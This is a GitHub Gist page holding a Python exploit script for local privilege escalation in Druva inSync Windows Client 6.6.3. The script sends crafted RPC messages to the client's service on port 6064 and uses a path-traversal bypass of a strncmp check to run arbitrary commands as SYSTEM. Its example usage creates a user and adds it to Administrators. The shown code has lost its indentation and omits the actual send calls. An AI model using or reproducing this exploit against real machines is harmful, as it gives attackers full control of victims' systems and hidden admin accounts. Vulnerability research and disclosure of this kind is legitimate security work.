Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation via path traversal
# Date: 2020-05-21
# Exploit Author: Matteo Malvica
# Credits: Chris Lyne for previous version's exploit
# Vendor Homepage:
# Software Link:
# Version: 6.6.3
# Tested on: Windows 10 1909-18363.778
# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation
# The path validation has been only implemented through a 'strncmp' function which can be bypassed by
# appending a directory traversal escape sequence at the end of the valid path.
# Writeup:
# Example usage:
#python "windows\system32\cmd.exe /C net user Leon /add"
#python "windows\system32\cmd.exe /C net localgroup Administrators Leon /add"
import socket
import struct
import sys
if len(sys.argv) < 2:
print "Usage: " + __file__ + " <quoted command to execute>"
print "E.g. " + __file__ + " \"net user /add tenable\""
ip = ''
port = 6064
command_line = 'C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\..\\..\\..\\..\\..\\' + sys.argv[1]
def make_wide(str):
new_str = ''
for c in str:
new_str += c
new_str += '\x00'
return new_str
hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00" # 05 is to run a command, passed as an agrument to CreateProcessW
command_line = make_wide(command_line) # converts ascii to UTF-8
command_length = struct.pack('<i', len(command_line)) # packed as little-endian integer
requests = [ hello, func_num, command_length, command_line ] # sends each request separately
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
i = 1
for req in requests:
print 'Sending request' + str(i)
i += 1
print "Done."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.